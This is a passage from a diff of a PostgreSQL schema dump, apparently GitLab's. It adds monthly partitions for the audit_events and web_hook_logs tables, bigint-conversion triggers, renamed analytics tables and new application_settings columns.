+ url,
+ request_headers,
+ request_data,
+ response_headers,
+ response_body,
+ response_status,
+ execution_duration,
+ internal_error_message,
created_at,
- ip_address,
- author_name,
- target_details,
- entity_path,
- target_type,
- target_id)
+ updated_at)
VALUES (NEW.id,
- NEW.author_id,
- NEW.entity_id,
- NEW.entity_type,
- NEW.details,
+ NEW.web_hook_id,
+ NEW.trigger,
+ NEW.url,
+ NEW.request_headers,
+ NEW.request_data,
+ NEW.response_headers,
+ NEW.response_body,
+ NEW.response_status,
+ NEW.execution_duration,
+ NEW.internal_error_message,
NEW.created_at,
- NEW.ip_address,
- NEW.author_name,
- NEW.target_details,
- NEW.entity_path,
- NEW.target_type,
- NEW.target_id);
+ NEW.updated_at);
END IF;
RETURN NULL;
END
$$;
-COMMENT ON FUNCTION table_sync_function_2be879775d() IS 'Partitioning migration: table sync for audit_events table';
+COMMENT ON FUNCTION table_sync_function_29bc99d6db() IS 'Partitioning migration: table sync for web_hook_logs table';
+
+CREATE FUNCTION trigger_07c94931164e() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."event_id_convert_to_bigint" := NEW."event_id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE FUNCTION trigger_21e7a2602957() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."build_id_convert_to_bigint" := NEW."build_id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE FUNCTION trigger_3f6129be01d2() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."id_convert_to_bigint" := NEW."id";
+ NEW."stage_id_convert_to_bigint" := NEW."stage_id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE FUNCTION trigger_51ab7cef8934() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."build_id_convert_to_bigint" := NEW."build_id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE FUNCTION trigger_69523443cc10() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."id_convert_to_bigint" := NEW."id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE FUNCTION trigger_77f5e1d20482() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."deployable_id_convert_to_bigint" := NEW."deployable_id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE FUNCTION trigger_8485e97c00e3() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."source_job_id_convert_to_bigint" := NEW."source_job_id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE FUNCTION trigger_8487d4de3e7b() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."build_id_convert_to_bigint" := NEW."build_id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE FUNCTION trigger_91dc388a5fe6() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."build_id_convert_to_bigint" := NEW."build_id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE FUNCTION trigger_aebe8b822ad3() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."id_convert_to_bigint" := NEW."id";
+ NEW."taggable_id_convert_to_bigint" := NEW."taggable_id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE FUNCTION trigger_be1804f21693() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."id_convert_to_bigint" := NEW."id";
+ NEW."job_id_convert_to_bigint" := NEW."job_id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE FUNCTION trigger_cf2f9e35f002() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."build_id_convert_to_bigint" := NEW."build_id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE FUNCTION trigger_f1ca8ec18d78() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."job_artifact_id_convert_to_bigint" := NEW."job_artifact_id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE TABLE audit_events (
+ id bigint NOT NULL,
+ author_id integer NOT NULL,
+ entity_id integer NOT NULL,
+ entity_type character varying NOT NULL,
+ details text,
+ ip_address inet,
+ author_name text,
+ target_details text,
+ entity_path text,
+ created_at timestamp without time zone NOT NULL,
+ target_type text,
+ target_id bigint,
+ CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
+ CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
+ CONSTRAINT check_97a8c868e7 CHECK ((char_length(target_type) <= 255)),
+ CONSTRAINT check_d493ec90b5 CHECK ((char_length(target_details) <= 5500))
+)
+PARTITION BY RANGE (created_at);
+
+CREATE SEQUENCE audit_events_id_seq
+ AS integer
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE audit_events_id_seq OWNED BY audit_events.id;
+
+CREATE TABLE gitlab_partitions_dynamic.audit_events_000000 (
+ id bigint DEFAULT nextval('audit_events_id_seq'::regclass) NOT NULL,
+ author_id integer NOT NULL,
+ entity_id integer NOT NULL,
+ entity_type character varying NOT NULL,
+ details text,
+ ip_address inet,
+ author_name text,
+ target_details text,
+ entity_path text,
+ created_at timestamp without time zone NOT NULL,
+ target_type text,
+ target_id bigint,
+ CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
+ CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
+ CONSTRAINT check_97a8c868e7 CHECK ((char_length(target_type) <= 255)),
+ CONSTRAINT check_d493ec90b5 CHECK ((char_length(target_details) <= 5500))
+);
+ALTER TABLE ONLY audit_events ATTACH PARTITION gitlab_partitions_dynamic.audit_events_000000 FOR VALUES FROM (MINVALUE) TO ('2022-12-01 00:00:00');
+
+CREATE TABLE gitlab_partitions_dynamic.audit_events_202212 (
+ id bigint DEFAULT nextval('audit_events_id_seq'::regclass) NOT NULL,
+ author_id integer NOT NULL,
+ entity_id integer NOT NULL,
+ entity_type character varying NOT NULL,
+ details text,
+ ip_address inet,
+ author_name text,
+ target_details text,
+ entity_path text,
+ created_at timestamp without time zone NOT NULL,
+ target_type text,
+ target_id bigint,
+ CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
+ CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
+ CONSTRAINT check_97a8c868e7 CHECK ((char_length(target_type) <= 255)),
+ CONSTRAINT check_d493ec90b5 CHECK ((char_length(target_details) <= 5500))
+);
+ALTER TABLE ONLY audit_events ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202212 FOR VALUES FROM ('2022-12-01 00:00:00') TO ('2023-01-01 00:00:00');
+
+CREATE TABLE gitlab_partitions_dynamic.audit_events_202301 (
+ id bigint DEFAULT nextval('audit_events_id_seq'::regclass) NOT NULL,
+ author_id integer NOT NULL,
+ entity_id integer NOT NULL,
+ entity_type character varying NOT NULL,
+ details text,
+ ip_address inet,
+ author_name text,
+ target_details text,
+ entity_path text,
+ created_at timestamp without time zone NOT NULL,
+ target_type text,
+ target_id bigint,
+ CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
+ CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
+ CONSTRAINT check_97a8c868e7 CHECK ((char_length(target_type) <= 255)),
+ CONSTRAINT check_d493ec90b5 CHECK ((char_length(target_details) <= 5500))
+);
+ALTER TABLE ONLY audit_events ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202301 FOR VALUES FROM ('2023-01-01 00:00:00') TO ('2023-02-01 00:00:00');
+
+CREATE TABLE gitlab_partitions_dynamic.audit_events_202302 (
+ id bigint DEFAULT nextval('audit_events_id_seq'::regclass) NOT NULL,
+ author_id integer NOT NULL,
+ entity_id integer NOT NULL,
+ entity_type character varying NOT NULL,
+ details text,
+ ip_address inet,
+ author_name text,
+ target_details text,
+ entity_path text,
+ created_at timestamp without time zone NOT NULL,
+ target_type text,
+ target_id bigint,
+ CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
+ CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
+ CONSTRAINT check_97a8c868e7 CHECK ((char_length(target_type) <= 255)),
+ CONSTRAINT check_d493ec90b5 CHECK ((char_length(target_details) <= 5500))
+);
+ALTER TABLE ONLY audit_events ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202302 FOR VALUES FROM ('2023-02-01 00:00:00') TO ('2023-03-01 00:00:00');
+
+CREATE TABLE gitlab_partitions_dynamic.audit_events_202303 (
+ id bigint DEFAULT nextval('audit_events_id_seq'::regclass) NOT NULL,
+ author_id integer NOT NULL,
+ entity_id integer NOT NULL,
+ entity_type character varying NOT NULL,
+ details text,
+ ip_address inet,
+ author_name text,
+ target_details text,
+ entity_path text,
+ created_at timestamp without time zone NOT NULL,
+ target_type text,
+ target_id bigint,
+ CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
+ CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
+ CONSTRAINT check_97a8c868e7 CHECK ((char_length(target_type) <= 255)),
+ CONSTRAINT check_d493ec90b5 CHECK ((char_length(target_details) <= 5500))
+);
+ALTER TABLE ONLY audit_events ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202303 FOR VALUES FROM ('2023-03-01 00:00:00') TO ('2023-04-01 00:00:00');
+
+CREATE TABLE gitlab_partitions_dynamic.audit_events_202304 (
+ id bigint DEFAULT nextval('audit_events_id_seq'::regclass) NOT NULL,
+ author_id integer NOT NULL,
+ entity_id integer NOT NULL,
+ entity_type character varying NOT NULL,
+ details text,
+ ip_address inet,
+ author_name text,
+ target_details text,
+ entity_path text,
+ created_at timestamp without time zone NOT NULL,
+ target_type text,
+ target_id bigint,
+ CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
+ CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
+ CONSTRAINT check_97a8c868e7 CHECK ((char_length(target_type) <= 255)),
+ CONSTRAINT check_d493ec90b5 CHECK ((char_length(target_details) <= 5500))
+);
+ALTER TABLE ONLY audit_events ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202304 FOR VALUES FROM ('2023-04-01 00:00:00') TO ('2023-05-01 00:00:00');
+
+CREATE TABLE gitlab_partitions_dynamic.audit_events_202305 (
+ id bigint DEFAULT nextval('audit_events_id_seq'::regclass) NOT NULL,
+ author_id integer NOT NULL,
+ entity_id integer NOT NULL,
+ entity_type character varying NOT NULL,
+ details text,
+ ip_address inet,
+ author_name text,
+ target_details text,
+ entity_path text,
+ created_at timestamp without time zone NOT NULL,
+ target_type text,
+ target_id bigint,
+ CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
+ CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
+ CONSTRAINT check_97a8c868e7 CHECK ((char_length(target_type) <= 255)),
+ CONSTRAINT check_d493ec90b5 CHECK ((char_length(target_details) <= 5500))
+);
+ALTER TABLE ONLY audit_events ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202305 FOR VALUES FROM ('2023-05-01 00:00:00') TO ('2023-06-01 00:00:00');
+
+CREATE TABLE gitlab_partitions_dynamic.audit_events_202306 (
+ id bigint DEFAULT nextval('audit_events_id_seq'::regclass) NOT NULL,
+ author_id integer NOT NULL,
+ entity_id integer NOT NULL,
+ entity_type character varying NOT NULL,
+ details text,
+ ip_address inet,
+ author_name text,
+ target_details text,
+ entity_path text,
+ created_at timestamp without time zone NOT NULL,
+ target_type text,
+ target_id bigint,
+ CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
+ CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
+ CONSTRAINT check_97a8c868e7 CHECK ((char_length(target_type) <= 255)),
+ CONSTRAINT check_d493ec90b5 CHECK ((char_length(target_details) <= 5500))
+);
+ALTER TABLE ONLY audit_events ATTACH PARTITION gitlab_partitions_dynamic.audit_events_202306 FOR VALUES FROM ('2023-06-01 00:00:00') TO ('2023-07-01 00:00:00');
+
+CREATE TABLE web_hook_logs (
+ id bigint NOT NULL,
+ web_hook_id integer NOT NULL,
+ trigger character varying,
+ url character varying,
+ request_headers text,
+ request_data text,
+ response_headers text,
+ response_body text,
+ response_status character varying,
+ execution_duration double precision,
+ internal_error_message character varying,
+ updated_at timestamp without time zone NOT NULL,
+ created_at timestamp without time zone NOT NULL
+)
+PARTITION BY RANGE (created_at);
+
+CREATE SEQUENCE web_hook_logs_id_seq
+ AS integer
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE web_hook_logs_id_seq OWNED BY web_hook_logs.id;
+
+CREATE TABLE gitlab_partitions_dynamic.web_hook_logs_000000 (
+ id bigint DEFAULT nextval('web_hook_logs_id_seq'::regclass) NOT NULL,
+ web_hook_id integer NOT NULL,
+ trigger character varying,
+ url character varying,
+ request_headers text,
+ request_data text,
+ response_headers text,
+ response_body text,
+ response_status character varying,
+ execution_duration double precision,
+ internal_error_message character varying,
+ updated_at timestamp without time zone NOT NULL,
+ created_at timestamp without time zone NOT NULL
+);
+ALTER TABLE ONLY web_hook_logs ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_000000 FOR VALUES FROM (MINVALUE) TO ('2022-12-01 00:00:00');
+
+CREATE TABLE gitlab_partitions_dynamic.web_hook_logs_202212 (
+ id bigint DEFAULT nextval('web_hook_logs_id_seq'::regclass) NOT NULL,
+ web_hook_id integer NOT NULL,
+ trigger character varying,
+ url character varying,
+ request_headers text,
+ request_data text,
+ response_headers text,
+ response_body text,
+ response_status character varying,
+ execution_duration double precision,
+ internal_error_message character varying,
+ updated_at timestamp without time zone NOT NULL,
+ created_at timestamp without time zone NOT NULL
+);
+ALTER TABLE ONLY web_hook_logs ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202212 FOR VALUES FROM ('2022-12-01 00:00:00') TO ('2023-01-01 00:00:00');
+
+CREATE TABLE gitlab_partitions_dynamic.web_hook_logs_202301 (
+ id bigint DEFAULT nextval('web_hook_logs_id_seq'::regclass) NOT NULL,
+ web_hook_id integer NOT NULL,
+ trigger character varying,
+ url character varying,
+ request_headers text,
+ request_data text,
+ response_headers text,
+ response_body text,
+ response_status character varying,
+ execution_duration double precision,
+ internal_error_message character varying,
+ updated_at timestamp without time zone NOT NULL,
+ created_at timestamp without time zone NOT NULL
+);
+ALTER TABLE ONLY web_hook_logs ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202301 FOR VALUES FROM ('2023-01-01 00:00:00') TO ('2023-02-01 00:00:00');
+
+CREATE TABLE gitlab_partitions_dynamic.web_hook_logs_202302 (
+ id bigint DEFAULT nextval('web_hook_logs_id_seq'::regclass) NOT NULL,
+ web_hook_id integer NOT NULL,
+ trigger character varying,
+ url character varying,
+ request_headers text,
+ request_data text,
+ response_headers text,
+ response_body text,
+ response_status character varying,
+ execution_duration double precision,
+ internal_error_message character varying,
+ updated_at timestamp without time zone NOT NULL,
+ created_at timestamp without time zone NOT NULL
+);
+ALTER TABLE ONLY web_hook_logs ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202302 FOR VALUES FROM ('2023-02-01 00:00:00') TO ('2023-03-01 00:00:00');
+
+CREATE TABLE gitlab_partitions_dynamic.web_hook_logs_202303 (
+ id bigint DEFAULT nextval('web_hook_logs_id_seq'::regclass) NOT NULL,
+ web_hook_id integer NOT NULL,
+ trigger character varying,
+ url character varying,
+ request_headers text,
+ request_data text,
+ response_headers text,
+ response_body text,
+ response_status character varying,
+ execution_duration double precision,
+ internal_error_message character varying,
+ updated_at timestamp without time zone NOT NULL,
+ created_at timestamp without time zone NOT NULL
+);
+ALTER TABLE ONLY web_hook_logs ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202303 FOR VALUES FROM ('2023-03-01 00:00:00') TO ('2023-04-01 00:00:00');
+
+CREATE TABLE gitlab_partitions_dynamic.web_hook_logs_202304 (
+ id bigint DEFAULT nextval('web_hook_logs_id_seq'::regclass) NOT NULL,
+ web_hook_id integer NOT NULL,
+ trigger character varying,
+ url character varying,
+ request_headers text,
+ request_data text,
+ response_headers text,
+ response_body text,
+ response_status character varying,
+ execution_duration double precision,
+ internal_error_message character varying,
+ updated_at timestamp without time zone NOT NULL,
+ created_at timestamp without time zone NOT NULL
+);
+ALTER TABLE ONLY web_hook_logs ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202304 FOR VALUES FROM ('2023-04-01 00:00:00') TO ('2023-05-01 00:00:00');
+
+CREATE TABLE gitlab_partitions_dynamic.web_hook_logs_202305 (
+ id bigint DEFAULT nextval('web_hook_logs_id_seq'::regclass) NOT NULL,
+ web_hook_id integer NOT NULL,
+ trigger character varying,
+ url character varying,
+ request_headers text,
+ request_data text,
+ response_headers text,
+ response_body text,
+ response_status character varying,
+ execution_duration double precision,
+ internal_error_message character varying,
+ updated_at timestamp without time zone NOT NULL,
+ created_at timestamp without time zone NOT NULL
+);
+ALTER TABLE ONLY web_hook_logs ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202305 FOR VALUES FROM ('2023-05-01 00:00:00') TO ('2023-06-01 00:00:00');
+
+CREATE TABLE gitlab_partitions_dynamic.web_hook_logs_202306 (
+ id bigint DEFAULT nextval('web_hook_logs_id_seq'::regclass) NOT NULL,
+ web_hook_id integer NOT NULL,
+ trigger character varying,
+ url character varying,
+ request_headers text,
+ request_data text,
+ response_headers text,
+ response_body text,
+ response_status character varying,
+ execution_duration double precision,
+ internal_error_message character varying,
+ updated_at timestamp without time zone NOT NULL,
+ created_at timestamp without time zone NOT NULL
+);
+ALTER TABLE ONLY web_hook_logs ATTACH PARTITION gitlab_partitions_dynamic.web_hook_logs_202306 FOR VALUES FROM ('2023-06-01 00:00:00') TO ('2023-07-01 00:00:00');
CREATE TABLE product_analytics_events_experimental (
id bigint NOT NULL,
@@ -8938,7 +9414,8 @@ CREATE TABLE analytics_cycle_analytics_project_stages (
end_event_label_id bigint,
hidden boolean DEFAULT false NOT NULL,
custom boolean DEFAULT true NOT NULL,
- name character varying(255) NOT NULL
+ name character varying(255) NOT NULL,
+ project_value_stream_id bigint NOT NULL
);
CREATE SEQUENCE analytics_cycle_analytics_project_stages_id_seq
@@ -8950,33 +9427,31 @@ CREATE SEQUENCE analytics_cycle_analytics_project_stages_id_seq
ALTER SEQUENCE analytics_cycle_analytics_project_stages_id_seq OWNED BY analytics_cycle_analytics_project_stages.id;
-CREATE TABLE analytics_devops_adoption_segment_selections (
+CREATE TABLE analytics_cycle_analytics_project_value_streams (
id bigint NOT NULL,
- segment_id bigint NOT NULL,
- group_id bigint,
- project_id bigint,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
- CONSTRAINT segment_selection_project_id_or_group_id_required CHECK ((((project_id <> NULL::bigint) AND (group_id IS NULL)) OR ((group_id <> NULL::bigint) AND (project_id IS NULL))))
+ project_id bigint NOT NULL,
+ name text NOT NULL,
+ CONSTRAINT check_9b1970a898 CHECK ((char_length(name) <= 100))
);
-CREATE SEQUENCE analytics_devops_adoption_segment_selections_id_seq
+CREATE SEQUENCE analytics_cycle_analytics_project_value_streams_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE analytics_devops_adoption_segment_selections_id_seq OWNED BY analytics_devops_adoption_segment_selections.id;
+ALTER SEQUENCE analytics_cycle_analytics_project_value_streams_id_seq OWNED BY analytics_cycle_analytics_project_value_streams.id;
CREATE TABLE analytics_devops_adoption_segments (
id bigint NOT NULL,
- name text,
last_recorded_at timestamp with time zone,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
namespace_id integer,
- CONSTRAINT check_4be7a006fd CHECK ((char_length(name) <= 255))
+ display_namespace_id integer
);
CREATE SEQUENCE analytics_devops_adoption_segments_id_seq
@@ -8990,7 +9465,7 @@ ALTER SEQUENCE analytics_devops_adoption_segments_id_seq OWNED BY analytics_devo
CREATE TABLE analytics_devops_adoption_snapshots (
id bigint NOT NULL,
- segment_id bigint NOT NULL,
+ segment_id bigint,
recorded_at timestamp with time zone NOT NULL,
issue_opened boolean NOT NULL,
merge_request_opened boolean NOT NULL,
@@ -8999,7 +9474,11 @@ CREATE TABLE analytics_devops_adoption_snapshots (
pipeline_succeeded boolean NOT NULL,
deploy_succeeded boolean NOT NULL,
security_scan_succeeded boolean NOT NULL,
- end_time timestamp with time zone NOT NULL
+ end_time timestamp with time zone NOT NULL,
+ total_projects_count integer,
+ code_owners_used_count integer,
+ namespace_id integer,
+ CONSTRAINT check_3f472de131 CHECK ((namespace_id IS NOT NULL))
);
CREATE SEQUENCE analytics_devops_adoption_snapshots_id_seq
@@ -9011,31 +9490,31 @@ CREATE SEQUENCE analytics_devops_adoption_snapshots_id_seq
ALTER SEQUENCE analytics_devops_adoption_snapshots_id_seq OWNED BY analytics_devops_adoption_snapshots.id;
-CREATE TABLE analytics_instance_statistics_measurements (
+CREATE TABLE analytics_language_trend_repository_languages (
+ file_count integer DEFAULT 0 NOT NULL,
+ programming_language_id bigint NOT NULL,
+ project_id bigint NOT NULL,
+ loc integer DEFAULT 0 NOT NULL,
+ bytes integer DEFAULT 0 NOT NULL,
+ percentage smallint DEFAULT 0 NOT NULL,
+ snapshot_date date NOT NULL
+);
+
+CREATE TABLE analytics_usage_trends_measurements (
id bigint NOT NULL,
count bigint NOT NULL,
recorded_at timestamp with time zone NOT NULL,
identifier smallint NOT NULL
);
-CREATE SEQUENCE analytics_instance_statistics_measurements_id_seq
+CREATE SEQUENCE analytics_usage_trends_measurements_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE analytics_instance_statistics_measurements_id_seq OWNED BY analytics_instance_statistics_measurements.id;
-
-CREATE TABLE analytics_language_trend_repository_languages (
- file_count integer DEFAULT 0 NOT NULL,
- programming_language_id bigint NOT NULL,
- project_id bigint NOT NULL,
- loc integer DEFAULT 0 NOT NULL,
- bytes integer DEFAULT 0 NOT NULL,
- percentage smallint DEFAULT 0 NOT NULL,
- snapshot_date date NOT NULL
-);
+ALTER SEQUENCE analytics_usage_trends_measurements_id_seq OWNED BY analytics_usage_trends_measurements.id;
CREATE TABLE appearances (
id integer NOT NULL,
@@ -9377,13 +9856,38 @@ CREATE TABLE application_settings (
invisible_captcha_enabled boolean DEFAULT false NOT NULL,
rate_limiting_response_text text,
keep_latest_artifact boolean DEFAULT true NOT NULL,
- enforce_ssh_key_expiration boolean DEFAULT false NOT NULL,
+ enforce_ssh_key_expiration boolean DEFAULT true NOT NULL,
git_two_factor_session_expiry integer DEFAULT 15 NOT NULL,
notes_create_limit integer DEFAULT 300 NOT NULL,
notes_create_limit_allowlist text[] DEFAULT '{}'::text[] NOT NULL,
in_product_marketing_emails_enabled boolean DEFAULT true NOT NULL,
asset_proxy_whitelist text,
+ delayed_project_removal boolean DEFAULT false NOT NULL,
+ lock_delayed_project_removal boolean DEFAULT false NOT NULL,
+ admin_mode boolean DEFAULT false NOT NULL,
+ throttle_unauthenticated_packages_api_requests_per_period integer DEFAULT 800 NOT NULL,
+ throttle_unauthenticated_packages_api_period_in_seconds integer DEFAULT 15 NOT NULL,
+ throttle_authenticated_packages_api_requests_per_period integer DEFAULT 1000 NOT NULL,
+ throttle_authenticated_packages_api_period_in_seconds integer DEFAULT 15 NOT NULL,
+ throttle_unauthenticated_packages_api_enabled boolean DEFAULT false NOT NULL,
+ throttle_authenticated_packages_api_enabled boolean DEFAULT false NOT NULL,
+ valid_runner_registrars character varying[] DEFAULT '{project,group}'::character varying[],
+ whats_new_variant smallint DEFAULT 0,
+ external_pipeline_validation_service_timeout integer,
+ encrypted_external_pipeline_validation_service_token text,
+ encrypted_external_pipeline_validation_service_token_iv text,
+ external_pipeline_validation_service_url text,
+ deactivate_dormant_users boolean DEFAULT false NOT NULL,
+ encrypted_spam_check_api_key bytea,
+ encrypted_spam_check_api_key_iv bytea,
+ elasticsearch_username text,
+ encrypted_elasticsearch_password bytea,
+ encrypted_elasticsearch_password_iv bytea,
+ floc_enabled boolean DEFAULT false NOT NULL,
+ diff_max_lines integer DEFAULT 50000 NOT NULL,
+ diff_max_files integer DEFAULT 1000 NOT NULL,
CONSTRAINT app_settings_container_reg_cleanup_tags_max_list_size_positive CHECK ((container_registry_cleanup_tags_service_max_list_size >= 0)),
+ CONSTRAINT app_settings_ext_pipeline_validation_service_url_text_limit CHECK ((char_length(external_pipeline_validation_service_url) <= 255)),
CONSTRAINT app_settings_registry_exp_policies_worker_capacity_positive CHECK ((container_registry_expiration_policies_worker_capacity >= 0)),
CONSTRAINT check_17d9558205 CHECK ((char_length(kroki_url) <= 1024)),
CONSTRAINT check_2dba05b802 CHECK ((char_length(gitpod_url) <= 255)),
@@ -9398,6 +9902,7 @@ CREATE TABLE application_settings (
CONSTRAINT check_b4f67a6296 CHECK ((allow_local_requests_from_web_hooks_and_services IS NOT NULL)),
CONSTRAINT check_d03919528d CHECK ((char_length(container_registry_vendor) <= 255)),
CONSTRAINT check_d820146492 CHECK ((char_length(spam_check_endpoint_url) <= 255)),
+ CONSTRAINT check_e5024c8801 CHECK ((char_length(elasticsearch_username) <= 255)),
CONSTRAINT check_e5aba18f02 CHECK ((char_length(container_registry_version) <= 255)),
CONSTRAINT check_ef6176834f CHECK ((char_length(encrypted_cloud_license_auth_token_iv) <= 255))
);
@@ -9631,53 +10136,6 @@ CREATE SEQUENCE atlassian_identities_user_id_seq
ALTER SEQUENCE atlassian_identities_user_id_seq OWNED BY atlassian_identities.user_id;
-CREATE TABLE audit_events (
- id bigint NOT NULL,
- author_id integer NOT NULL,
- entity_id integer NOT NULL,
- entity_type character varying NOT NULL,
- details text,
- ip_address inet,
- author_name text,
- target_details text,
- entity_path text,
- created_at timestamp without time zone NOT NULL,
- target_type text,
- target_id bigint,
- CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
- CONSTRAINT check_97a8c868e7 CHECK ((char_length(target_type) <= 255))
-)
-PARTITION BY RANGE (created_at);
-
-CREATE TABLE audit_events_archived (
- id integer NOT NULL,
- author_id integer NOT NULL,
- entity_id integer NOT NULL,
- entity_type character varying NOT NULL,
- details text,
- created_at timestamp without time zone,
- ip_address inet,
- author_name text,
- target_details text,
- entity_path text,
- target_type text,
- target_id bigint,
- CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
- CONSTRAINT check_82294106dd CHECK ((char_length(target_type) <= 255)),
- CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
- CONSTRAINT check_d493ec90b5 CHECK ((char_length(target_details) <= 5500))
-);
-
-CREATE SEQUENCE audit_events_id_seq
- AS integer
- START WITH 1
- INCREMENT BY 1
- NO MINVALUE
- NO MAXVALUE
- CACHE 1;
-
-ALTER SEQUENCE audit_events_id_seq OWNED BY audit_events.id;
-
CREATE TABLE authentication_events (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -9782,7 +10240,9 @@ CREATE TABLE batched_background_migration_jobs (
batch_size integer NOT NULL,
sub_batch_size integer NOT NULL,
status smallint DEFAULT 0 NOT NULL,
- attempts smallint DEFAULT 0 NOT NULL
+ attempts smallint DEFAULT 0 NOT NULL,
+ metrics jsonb DEFAULT '{}'::jsonb NOT NULL,
+ pause_ms integer DEFAULT 100 NOT NULL
);
CREATE SEQUENCE batched_background_migration_jobs_id_seq
@@ -9805,10 +10265,12 @@ CREATE TABLE batched_background_migrations (
"interval" smallint NOT NULL,
status smallint DEFAULT 0 NOT NULL,
job_class_name text NOT NULL,
- batch_class_name text DEFAULT 'Gitlab::Database::BackgroundMigration::PrimaryKeyBatchingStrategy'::text NOT NULL,
+ batch_class_name text DEFAULT 'PrimaryKeyBatchingStrategy'::text NOT NULL,
table_name text NOT NULL,
column_name text NOT NULL,
job_arguments jsonb DEFAULT '"[]"'::jsonb NOT NULL,
+ total_tuple_count bigint,
+ pause_ms integer DEFAULT 100 NOT NULL,
CONSTRAINT check_5bb0382d6f CHECK ((char_length(column_name) <= 63)),
CONSTRAINT check_6b6a06254a CHECK ((char_length(table_name) <= 63)),
CONSTRAINT check_batch_size_in_range CHECK ((batch_size >= sub_batch_size)),
@@ -9961,6 +10423,24 @@ CREATE SEQUENCE boards_epic_board_positions_id_seq
ALTER SEQUENCE boards_epic_board_positions_id_seq OWNED BY boards_epic_board_positions.id;
+CREATE TABLE boards_epic_board_recent_visits (
+ id bigint NOT NULL,
+ user_id bigint NOT NULL,
+ epic_board_id bigint NOT NULL,
+ group_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL
+);
+
+CREATE SEQUENCE boards_epic_board_recent_visits_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE boards_epic_board_recent_visits_id_seq OWNED BY boards_epic_board_recent_visits.id;
+
CREATE TABLE boards_epic_boards (
id bigint NOT NULL,
hide_backlog_list boolean DEFAULT false NOT NULL,
@@ -10121,6 +10601,47 @@ CREATE SEQUENCE bulk_import_entities_id_seq
ALTER SEQUENCE bulk_import_entities_id_seq OWNED BY bulk_import_entities.id;
+CREATE TABLE bulk_import_export_uploads (
+ id bigint NOT NULL,
